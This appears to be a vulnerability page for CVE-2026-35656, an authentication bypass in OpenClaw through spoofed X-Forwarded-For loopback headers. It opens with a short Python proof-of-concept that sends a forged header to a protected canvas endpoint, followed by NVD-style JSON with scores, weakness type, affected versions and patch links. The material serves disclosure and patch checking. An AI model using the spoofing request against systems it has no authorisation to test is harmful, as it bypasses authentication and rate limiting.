CVE-2026-35656

import requests def check_poc(target_url): headers = { "User-Agent": "Mozilla/5.0 (PoC Scanner)", "X-Forwarded-For": "127.0.0.1" } try: # Attempt to access a protected resource (e.g., Canvas API) response = requests.get(f"{target_url}/api/canvas/check", headers=headers, timeout=10) if response.status_code == 200: print("[+] Potential Authentication Bypass detected via X-Forwarded-For spoofing.") else: print("[-] Exploit failed or patch applied.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": url = "http://target-openclaw-server" check_poc(url)

{"cve": {"id": "CVE-2026-35656", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:06.733", "lastModified": "2026-04-13T21:07:56.597", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.3.22 contains an authentication bypass vulnerability in the X-Forwarded-For header processing when trustedProxies is configured, allowing attackers to spoof loopback hops. Remote attackers can inject forged forwarding headers to bypass canvas authentication and rate-limiting protections by masquerading as loopback clients."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-290"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.3.22", "matchCriteriaId": "80A4431B-25A7-43D7-9618-5E37E4359DB5"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/630f1479c44f78484dfa21bb407cbe6f171dac87", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/commit/fc2d29ea926f47c428c556e92ec981441228d2a4", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-844j-xrrq-wgh4", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-xff-loopback-spoofing-bypass-in-canvas-authentication-and-rate-limiter", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}